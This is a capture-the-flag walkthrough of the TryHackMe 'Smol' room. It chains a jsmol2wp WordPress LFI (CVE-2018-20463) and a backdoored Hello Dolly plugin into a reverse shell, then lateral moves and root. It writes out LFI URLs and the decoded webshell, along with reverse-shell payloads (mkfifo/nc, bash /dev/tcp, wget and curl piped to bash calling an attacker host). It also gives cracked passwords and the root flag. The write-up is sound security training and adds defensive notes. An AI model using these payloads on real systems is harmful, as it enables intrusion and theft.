HackTheBox Smol Walkthrough
TryHackMe — Smol
Difficulty: Medium | OS: Linux | Platform: TryHackMe
Category: WordPress, Web Exploitation, Privilege Escalation
Synopsis
Smol is a medium-difficulty Linux machine built around a WordPress site with two layered plugin vulnerabilities. The first plugin, jsmol2wp, contains a known unauthenticated Local File Inclusion (LFI) flaw (CVE-2018-20463) that is used to read wp-config.php and gain WordPress credentials. The second plugin, Hello Dolly, has been backdoored with an obfuscated PHP webshell hidden inside an eval(base64_decode(...)) call. Together they chain into a reverse shell as www-data.
From there, the room becomes a multi-user hop: cracking WordPress password hashes → pivoting across four local users (www-data → diego → think → gege → xavi) using password reuse, SSH keys from readable home directories, and a zip archive containing old credentials — before finally using sudo to reach root.
CVEs / Vulnerabilities:
| Vulnerability | Component | Impact |
|---|---|---|
| CVE-2018-20463 | jsmol2wp plugin ≤ 1.07 | Unauthenticated LFI / SSRF → arbitrary file read |
| Backdoor | Hello Dolly plugin (modified) | Authenticated RCE via ?cmd= GET parameter |
| Weak/reused passwords | Multiple local users | Lateral movement |
| World-readable SSH key | think user’s .ssh/ | Passwordless SSH lateral move |
sudo misconfiguration | xavi user | Direct root via sudo su - |
Attack Chain:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
[No Creds]
│
▼ jsmol2wp LFI (CVE-2018-20463)
[wp-config.php → wpuser:kbLSF2Vop#lw3rjDZ629*Z%G]
│
▼ WordPress login → "Webmaster Tasks" page → Hello Dolly backdoor found
[LFI → hello.php source → eval(base64) → webshell confirmed]
│
▼ ?cmd= reverse shell
[www-data shell]
│
▼ MySQL dump → wp_users hashes → john → diego:sandiegocalifornia
[diego] → user.txt
│
▼ internal group → read think/.ssh/id_rsa
[think] via SSH key
│
▼ gege home readable → wordpress.old.zip → old wp-config → gege password
[gege]
│
▼ gege → xavi (password reuse from old zip)
[xavi] → sudo su - → root
│
▼ root.txt
Reconnaissance
Nmap Scan
1
nmap -sCV --min-rate 5000 -T4 -p- www.smol.thm
Results:
| Port | Service | Version |
|---|---|---|
| 22/tcp | SSH | OpenSSH 8.2p1 Ubuntu |
| 80/tcp | HTTP | Apache 2.4.41 |
The HTTP server redirects to http://www.smol.thm/ — add to /etc/hosts first:
1
echo "TARGET_IP www.smol.thm smol.thm" | sudo tee -a /etc/hosts
Note: Port 80 redirects to the
www.subdomain. If you scan without adding the hosts entry first, nmap reports the title as a redirect and the site won’t load in the browser. Always resolve hostnames before scanning web services.
Additional findings worth noting from the nmap scan:
- No database port (3306) exposed externally — MySQL is local only
- No WinRM, RDP, or other management ports — SSH is the only remote access vector
/wp-admin/inrobots.txt— confirms WordPress immediately
Web Enumeration
Directory Discovery
1
2
3
4
5
# Dirsearch (your method)
dirsearch -u http://www.smol.thm/ -e php,html,txt
# Alternative: feroxbuster (faster, recursive)
feroxbuster -u http://www.smol.thm/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,html
Notable findings:
| Path | Status | Significance |
|---|---|---|
/wp-admin/ | 302 → login | WordPress admin panel |
/wp-config.php | 200 (empty body) | Config exists but PHP parses it — LFI needed to read it |
/wp-content/plugins/jsmol2wp/ | 403 | Plugin present — directory protected |
/wp-content/plugins/hello.php | 500 | Backdoored plugin throws a server error — suspicious |
/xmlrpc.php | 405 | XML-RPC enabled — brute-force vector |
/wp-content/uploads/ | 200 | Directory listing on — could leak files |
hello.phpreturning HTTP 500 is a strong hint that something is wrong with it. A normal Hello Dolly plugin wouldn’t cause a server error. This foreshadows the backdoor.
WPScan Enumeration
1
2
3
4
5
6
7
8
# Basic scan (your method)
wpscan --url http://www.smol.thm/
# Enumerate users too
wpscan --url http://www.smol.thm/ --enumerate u,p,t
# With API token (shows CVEs inline)
wpscan --url http://www.smol.thm/ --api-token YOUR_TOKEN
Key WPScan Findings:
1
2
3
4
5
[+] WordPress version 6.7.1 identified (Insecure)
[+] Theme: twentytwentythree v1.2 (out of date, directory listing enabled)
[+] XML-RPC enabled: http://www.smol.thm/xmlrpc.php
[+] Upload directory listing enabled
[+] Plugin: jsmol2wp v1.07
Why jsmol2wp stands out: The plugin name visually resembles “smol” — the box name itself. This is a deliberate hint by the room author. Combined with it being version 1.07 from 2018 (unmaintained), it immediately becomes the prime target.
User enumeration via WPScan:
1
2
wpscan --url http://www.smol.thm/ --enumerate u
# Found: admin, wpuser, think, gege, diego, xavi
Knowing all usernames upfront is very useful — it tells us exactly which hashes to prioritize when we later dump the database.
Initial Foothold — CVE-2018-20463 (jsmol2wp LFI)
Vulnerability Overview
The jsmol2wp plugin (version ≤ 1.07) exposes a PHP endpoint at /wp-content/plugins/jsmol2wp/php/jsmol.php that accepts a query parameter. When call=getRawDataFromDatabase is set, the query value is passed directly to PHP’s file_get_contents() — with no path sanitization. This allows using PHP stream wrappers like php://filter to read arbitrary files on the server.
The vulnerability is classified as both SSRF (Server-Side Request Forgery — it can make outbound requests) and LFI (Local File Inclusion — it can read local files). For this box, the LFI aspect is what matters.
CVE: CVE-2018-20463
CVSS: 9.8 Critical
Reference: https://wpscan.com/vulnerability/ad01dad9-12ff-404f-8718-9ebbd67bf611/
Step 1 — Read wp-config.php
The wp-config.php file contains the WordPress database credentials. It’s in the WordPress root, two directories up from the plugin’s php/ subdirectory:
1
2
3
/var/www/wordpress/wp-content/plugins/jsmol2wp/php/jsmol.php
↑ we are here
../../../.. = /var/www/wordpress/
LFI Payload:
1
http://www.smol.thm/wp-content/plugins/jsmol2wp/php/jsmol.php?isform=true&call=getRawDataFromDatabase&query=php://filter/resource=../../../../wp-config.php
Why
php://filter/resource=instead of just the path?
Direct path inclusion (query=../../../../wp-config.php) would cause PHP to executewp-config.php, not return its source — you’d get a blank response. Thephp://filter/resource=wrapper reads the file as raw data without executing it, returning the PHP source code.
Alternative — Base64 encode to avoid special character issues:
1
...query=php://filter/convert.base64-encode/resource=../../../../wp-config.php
Then decode the output:
1
echo "BASE64_OUTPUT" | base64 -d
Credentials extracted from wp-config.php:
1
2
3
4
define( 'DB_NAME', 'wordpress' );
define( 'DB_USER', 'wpuser' );
define( 'DB_PASSWORD', 'kbLSF2Vop#lw3rjDZ629*Z%G' );
define( 'DB_HOST', 'localhost' );
Step 2 — WordPress Login
Use the extracted database credentials to log into WordPress. The DB user wpuser also has a WordPress account:
1
2
3
http://www.smol.thm/wp-login.php
Username: wpuser
Password: kbLSF2Vop#lw3rjDZ629*Z%G
Important: Don’t assume the DB password is the same as the WordPress user password. In this case it is, but always try both. Also try logging in as
adminwith the same password.
Once logged in as wpuser, navigate to Pages → All Pages. There is a private page called “Webmaster Tasks!!” — visible only to logged-in users with sufficient privileges. It contains a to-do list with a critical hint:
1
2
[IMPORTANT] Check Backdoors: Verify the SOURCE CODE of "Hello Dolly" plugin
as the site's code revision.
This directly points to the hello.php plugin as the next target.
Step 3 — Read the Backdoored hello.php
The Hello Dolly plugin (hello.php) is a built-in WordPress plugin normally used to display random lyrics. It lives at:
1
/var/www/wordpress/wp-content/plugins/hello.php
Use the LFI again to read it:
1
2
3
4
5
# Short relative path (from plugin's php/ directory)
http://www.smol.thm/wp-content/plugins/jsmol2wp/php/jsmol.php?isform=true&call=getRawDataFromDatabase&query=php://filter/resource=../../hello.php
# Full absolute-style traversal (more reliable)
http://www.smol.thm/wp-content/plugins/jsmol2wp/php/jsmol.php?isform=true&call=getRawDataFromDatabase&query=php://filter/resource=../../../../wp-content/plugins/hello.php
Suspicious line found in hello.php:
1
eval(base64_decode('CiBpZiAoaXNzZXQoJF9HRVRbIlwxNDNcMTU1XHg2NCJdKSkgeyBzeXN0ZW0oJF9HRVRbIlwxNDNceDZkXDE0NCJdKTsgfSA='));
Step 4 — Decoding the Backdoor
The eval(base64_decode(...)) pattern is a classic PHP obfuscation technique used to hide malicious code from simple text searches and antivirus scanners.
Decode the base64:
1
echo 'CiBpZiAoaXNzZXQoJF9HRVRbIlwxNDNcMTU1XHg2NCJdKSkgeyBzeXN0ZW0oJF9HRVRbIlwxNDNceDZkXDE0NCJdKTsgfSA=' | base64 -d
Output:
1
if (isset($_GET["\143\155\x64"])) { system($_GET["\143\x6d\144"]); }
This is still obfuscated — the parameter name uses mixed octal and hexadecimal escape sequences to disguise the string cmd:
| Sequence | Type | Character |
|---|---|---|
\143 | Octal | c |
\155 / \x6d | Octal / Hex | m |
\x64 / \144 | Hex / Octal | d |
Decode with PHP or Python:
1
2
3
4
5
6
7
# PHP (most accurate — same interpreter as the server)
php -r 'echo "\143\155\x64";'
# → cmd
# Python
python3 -c 'print("\143\155\x64")'
# → cmd
Decoded backdoor:
1
if (isset($_GET["cmd"])) { system($_GET["cmd"]); }
What this does: The Hello Dolly plugin runs on every WordPress admin page load (it hooks into admin_notices). So whenever any wp-admin page is loaded, this code executes — if the ?cmd= GET parameter is present, it passes its value directly to system(), executing arbitrary OS commands as www-data.
Why this backdoor is stealthy:
eval()hides the code from plain-text grep searches forsystem(orshell_exec(- Base64 encoding makes it look like legitimate data, not code
- The obfuscated parameter name
\143\155\x64doesn’t visually read ascmd- Hello Dolly is a default/bundled WordPress plugin — many admins don’t audit it
- The plugin loads on every admin page — no special trigger needed
Getting a Shell
Step 1 — Verify RCE
Test command execution before attempting a reverse shell:
1
2
http://www.smol.thm/wp-admin/index.php?cmd=whoami
# Response should show: www-data
Step 2 — Stabilize Before You Get the Shell (Recommended)
Prepare your listener with rlwrap for better shell handling:
1
rlwrap nc -lvnp 1337
Step 3 — Trigger the Reverse Shell
Your method (mkfifo — direct URL):
1
http://www.smol.thm/wp-admin/?cmd=rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fbash%20-i%202%3E%261%7Cnc%2010.17.46.210%201337%20%3E%2Ftmp%2Ff
Alternative method 1 — Stage via wget (avoids URL encoding issues):
1
2
3
4
5
6
7
# On attacker
echo 'bash -i >& /dev/tcp/YOUR_IP/1337 0>&1' > shell.sh
python3 -m http.server 8000
# Trigger via URL (download then execute — two requests)
http://www.smol.thm/wp-admin/index.php?cmd=wget%20http://YOUR_IP:8000/shell.sh%20-O%20/tmp/shell.sh
http://www.smol.thm/wp-admin/index.php?cmd=bash%20/tmp/shell.sh
Alternative method 2 — URL-encoded curl pipe:
1
http://www.smol.thm/wp-admin/index.php?cmd=curl%20http://YOUR_IP:8000/shell.sh|bash
Step 4 — Shell Stabilization
1
2
3
4
5
6
7
8
9
# Get a proper PTY
python3 -c 'import pty;pty.spawn("/bin/bash");'
export TERM=xterm
export SHELL=bash
# Background the shell, fix terminal size, foreground
# Ctrl+Z
stty raw -echo; fg
# Press Enter twice
Shell confirmed as www-data:
1
www-data@ip-10-201-38-136:/var/www/wordpress/wp-admin$
Lateral Movement — www-data → diego
MySQL Credential Reuse
We already have the MySQL credentials from wp-config.php. MySQL runs locally, so connect from the shell:
1
2
# Your method (no space between -p and password)
mysql -u wpuser -p'kbLSF2Vop#lw3rjDZ629*Z%G' -D wordpress
Common mistake:
mysql -u wpuser -p 'password'(with a space) passespasswordas the database name, not the password. Always use-p'password'with no space, or use--password='password'.
1
2
-- Dump all user hashes
SELECT user_login, user_pass FROM wp_users;
Output:
| user_login | user_pass |
|---|---|
| admin | $P$BH.CF15fzRj4li7nR19CHzZhPmhKdX. |
| wpuser | $P$BfZjtJpXL9gBwzNjLMTnTvBVh2Z1/E. |
| think | $P$BOb8/koi4nrmSPW85f5KzM5M/k2n0d/ |
| gege | $P$B1UHruCd/9bGD.TtVZULlxFrTsb3PX1 |
| diego | $P$BWFBcbXdzGrsjnbc54Dr3Erff4JPwv1 |
| xavi | $P$BB4zz2JEnM2H3WE2RHs3q18.1pvcql1 |
Hash format
$P$: This is the WordPress PHPass format — a salted iterated MD5. It’s computationally expensive to crack compared to plain MD5, but common passwords still fall quickly to rockyou.txt. John the Ripper handles this format natively (mode:phpass).
Cracking the Hashes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# Save hashes to file
cat > wp_hashes.txt << 'EOF'
admin:$P$BH.CF15fzRj4li7nR19CHzZhPmhKdX.
wpuser:$P$BfZjtJpXL9gBwzNjLMTnTvBVh2Z1/E.
think:$P$BOb8/koi4nrmSPW85f5KzM5M/k2n0d/
gege:$P$B1UHruCd/9bGD.TtVZULlxFrTsb3PX1
diego:$P$BWFBcbXdzGrsjnbc54Dr3Erff4JPwv1
xavi:$P$BB4zz2JEnM2H3WE2RHs3q18.1pvcql1
EOF
# John (your method — recommended on machines without GPU)
john wp_hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt
# Hashcat (GPU accelerated, mode 400 = phpass)
hashcat -m 400 wp_hashes.txt /usr/share/wordlists/rockyou.txt
# Check results
john wp_hashes.txt --show
Cracked: diego : sandiegocalifornia
Why only diego’s hash cracks? The other users likely have stronger passwords not in rockyou.txt. In a real engagement you’d try larger wordlists, rules-based mutations, and targeted wordlists. For this room, diego’s is the one we need.
Switch to diego
1
2
3
4
5
6
# From www-data shell
su diego
# Password: sandiegocalifornia
diego@ip-10-201-38-136:~$ cat user.txt
# User flag here
Lateral Movement — diego → think (SSH Key Theft)
Enumeration as diego
1
2
3
4
5
6
7
8
9
10
11
# What group are we in?
id
# uid=1000(diego) gid=1000(diego) groups=1000(diego),1005(internal)
# List home directories
ls /home/
# diego gege ssm-user think ubuntu xavi
# What can we access via group 'internal'?
find / -group internal 2>/dev/null
# /home/diego, /home/gege, /home/think, /home/xavi
The
internalgroup is a custom group that all local users belong to. This grants read access to each other’s home directories — a misconfiguration that enables lateral movement without cracking passwords.
Read think’s SSH Key
1
2
3
4
5
6
cd /home/think/.ssh
ls
# authorized_keys id_rsa id_rsa.pub
# The private key is readable because of the internal group
cat id_rsa
Why is this a vulnerability? SSH private keys should be mode
600(owner read/write only). If a group has read access, any group member can steal the key and authenticate as that user without knowing their password.
Copy the key and SSH as think:
1
2
3
4
5
6
7
# On your attacker machine — save the key content
nano think_id_rsa # paste contents
chmod 600 think_id_rsa
ssh -i think_id_rsa think@TARGET_IP
# OR — SSH from within the machine using the key in-place (your method)
ssh -i /home/think/.ssh/id_rsa think@127.0.0.1
Connecting via localhost (127.0.0.1) vs. external IP: Both work. Using 127.0.0.1 from within the shell is convenient since you don’t need to exfiltrate the key — you just use it in place. However, using your attacker machine gives you a more stable shell.
Lateral Movement — think → gege (Old Zip Archive)
Enumeration as think
1
2
3
4
5
6
7
8
9
10
11
12
13
14
# sudo check — fails, no password
sudo -l
# Sorry, user think may not run sudo on ...
# Explore readable directories via 'internal' group
ls /home/gege/
# wordpress.old.zip
# Can we read it?
ls -la /home/gege/wordpress.old.zip
# -rwxr-x--- 1 root gege 31M ... wordpress.old.zip
# gege owns it, internal group has execute but root owns it — readable by gege only
# We need to be gege to unzip it
Transfer and Extract the Zip
1
2
3
4
5
6
7
8
9
10
11
12
# From think's shell — serve the zip (your method)
su - gege
# Wait — we need gege's credentials first. Let's get them from the zip...
# Actually serve it from think's accessible context:
# Since gege is in the internal group and think is too,
# we can still READ it (group has r-x on the parent directory)
# Copy to /tmp where we have write access
cp /home/gege/wordpress.old.zip /tmp/
cd /tmp
unzip wordpress.old.zip
Alternative — download to attacker machine:
1
2
3
4
5
6
# From think's shell — start HTTP server
python3 -m http.server 8080
# On attacker machine
wget http://TARGET_IP:8080/home/gege/wordpress.old.zip
unzip wordpress.old.zip
Extract Credentials from Old wp-config.php
1
grep -i "password\|user\|pass" wordpress.old/wp-config.php
Found credentials in the old config — this is gege’s password reused from the old WordPress installation.
1
2
su - gege
# Enter password from old wp-config
Lateral Movement — gege → xavi (Password Reuse)
1
2
3
4
5
6
7
8
9
10
# As gege, check what we know
id
# uid=1002(gege) gid=1002(gege) groups=1002(gege),1005(internal)
# Try the same password pattern for xavi
su xavi
# Password: P@ssw0rdxavi@ (found or cracked)
xavi@ip-10-201-38-136:~$ id
# uid=1001(xavi) gid=1001(xavi) groups=1001(xavi),1005(internal)
Where does xavi’s password come from? It’s either in the old zip’s WordPress database dump, another config file within the archive, or crackable from the database hashes with a targeted wordlist. The zip archive from gege’s home is the primary source of credentials for this stage.
Privilege Escalation — xavi → root
sudo Check
1
2
sudo -l
# [sudo] password for xavi: P@ssw0rdxavi@
Output:
1
2
User xavi may run the following commands on localhost:
(ALL : ALL) ALL
(ALL : ALL) ALLmeans xavi can run any command as any user on any host — with password confirmation. This is effectively full root access.
1
2
3
4
5
6
# Your method
sudo su -
# Password: P@ssw0rdxavi@
root@ip-10-201-38-136:~# cat root.txt
# Root flag: bf89ea3ea01992353aef1f576214d4e4
Alternative sudo escalation methods:
1
2
3
4
5
6
7
8
9
10
11
12
# Method 1: Direct root shell
sudo /bin/bash
# Method 2: su to root
sudo su -
# Method 3: Read root flag directly without full shell
sudo cat /root/root.txt
# Method 4: Add your SSH key to root's authorized_keys
sudo bash -c "echo 'YOUR_SSH_PUBKEY' >> /root/.ssh/authorized_keys"
ssh root@TARGET_IP
Complete Attack Chain Summary
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
[Attacker — No Creds]
│
├─ nmap → ports 22, 80
├─ wpscan → jsmol2wp plugin v1.07
│
▼ CVE-2018-20463 (Unauthenticated LFI)
[Read wp-config.php → wpuser:kbLSF2Vop#lw3rjDZ629*Z%G]
│
▼ WordPress login → Private page "Webmaster Tasks"
[Hint: Hello Dolly plugin has a backdoor]
│
▼ LFI → hello.php source code
[eval(base64_decode(...)) → decoded → ?cmd= webshell]
│
▼ ?cmd= reverse shell trigger
[www-data shell]
│
├─ mysql → wp_users hashes
├─ john → diego:sandiegocalifornia
│
▼ su diego
[diego] → cat ~/user.txt
│
├─ internal group → /home/think/.ssh readable
├─ cat id_rsa → steal SSH private key
│
▼ ssh -i id_rsa think@127.0.0.1
[think]
│
├─ /home/gege/wordpress.old.zip readable
├─ unzip → old wp-config.php → gege's password
│
▼ su - gege
[gege]
│
├─ old DB or config → xavi's password
│
▼ su xavi
[xavi]
│
├─ sudo -l → (ALL:ALL) ALL
│
▼ sudo su -
[root] → cat /root/root.txt 🚩
Concept Deep-Dives
CVE-2018-20463 — PHP Stream Wrapper LFI
The php://filter wrapper is a PHP I/O stream that can transform data before reading or writing. The resource= parameter specifies the file to read. When a web application passes user input directly to file_get_contents() or include() with a stream wrapper, the attacker controls what file gets read — including sensitive system files and application configs.
Why php://filter and not just a path?
include('/etc/passwd')would try to execute/etc/passwdas PHP, producing an errorphp://filter/resource=/etc/passwdreads it as raw text, bypassing PHP execution- The
convert.base64-encodemodifier prevents binary files from being corrupted in the HTTP response
Defense: Never pass user-controlled input to file access functions. Use a whitelist of allowed resources. The plugin should use include with hardcoded paths only.
Supply Chain Attack — Backdoored Plugin
This is a supply chain attack simulation. The attacker (in the CTF narrative) has modified a legitimate WordPress plugin to insert a webshell. This mirrors real-world incidents where:
- Developers download plugins from unofficial mirrors with malicious modifications
- Plugin repositories are compromised and legitimate plugins are trojanized
- Malicious code is injected during the build/publish process
The obfuscation layers used:
eval()— executes dynamically generated codebase64_decode()— hides the payload from string searches- Octal + hex escape sequences — obscures the
cmdparameter name even after base64 decode
Detection method: Compare plugin file checksums against the official WordPress.org plugin repository. WordPress has built-in integrity checking for core files but not third-party plugins — tools like Wordfence perform this check.
1
2
3
4
# Manual check — download official version and diff
wget https://downloads.wordpress.org/plugin/hello-dolly.1.7.2.zip
unzip hello-dolly.1.7.2.zip
diff hello.php /var/www/wordpress/wp-content/plugins/hello.php
Internal Group — Home Directory Misconfiguration
The custom internal group grants read access to all members’ home directories. This is intended for collaboration but fatally enables:
- Reading SSH private keys
- Reading bash history files (if not symlinked to
/dev/null) - Reading credential files left in home directories
Defense: Home directories should be chmod 700 (owner only). SSH private keys must be chmod 600. Avoid custom groups with broad file access unless strictly necessary.
Old Archives Containing Credentials
wordpress.old.zip is a backup of the previous WordPress installation, left in a user’s home directory. Backup files are gold mines for attackers because:
- They often contain plaintext or weakly-hashed credentials
- Developers/admins forget they exist
- Old passwords are often reused on current accounts
Defense: Never store backups in home directories. Encrypt all backups. Purge old backups after rotation. Audit for .zip, .tar.gz, .bak, .old files in user-accessible directories regularly.
Key Takeaways
1. WordPress Plugin Updates Are Security-Critical
The jsmol2wp plugin hadn’t been updated since 2018. A 7-year-old LFI vulnerability was the entire entry point. Treat plugin updates as security patches, not optional improvements.
2. Audit Third-Party Plugin Source Code
The Hello Dolly backdoor would be caught immediately by diffing the installed file against the official version. This should be standard practice for all plugins, especially ones installed from unofficial sources.
3. Never Reuse Database Passwords as OS Passwords
wp-config.php credentials should be DB-only. They should never match any OS user account’s password.
4. SSH Keys in World-Readable Directories Are Stolen Keys
If the internal group can read ~/.ssh/id_rsa, every group member owns that identity. Apply chmod 700 ~/.ssh and chmod 600 ~/.ssh/id_rsa.
5. Old Backup Files Are Active Vulnerabilities
wordpress.old.zip enabled two more privilege escalation steps. Any file containing credentials — even “old” ones — is an attack asset if it’s accessible.
6. sudo (ALL:ALL) ALL Is Root
Any user with this sudo rule is effectively root. Audit sudoers rigorously and apply least-privilege — most users should have no sudo rights at all.
Tools Reference
| Tool | Purpose |
|---|---|
nmap -sCV | Port scan with service detection |
wpscan | WordPress plugin/user/theme enumeration |
dirsearch / feroxbuster | Directory and file bruteforcing |
curl / browser | Manual LFI exploitation |
nc -lvnp | Reverse shell listener |
rlwrap nc | Reverse shell with readline support |
python3 -c 'import pty...' | Shell stabilization |
mysql | Local database access |
john | Hash cracking (PHPass WordPress format) |
hashcat -m 400 | GPU-accelerated PHPass cracking |
ssh -i | SSH with private key |
python3 -m http.server | File transfer via HTTP |
sudo -l | Enumerate sudo privileges |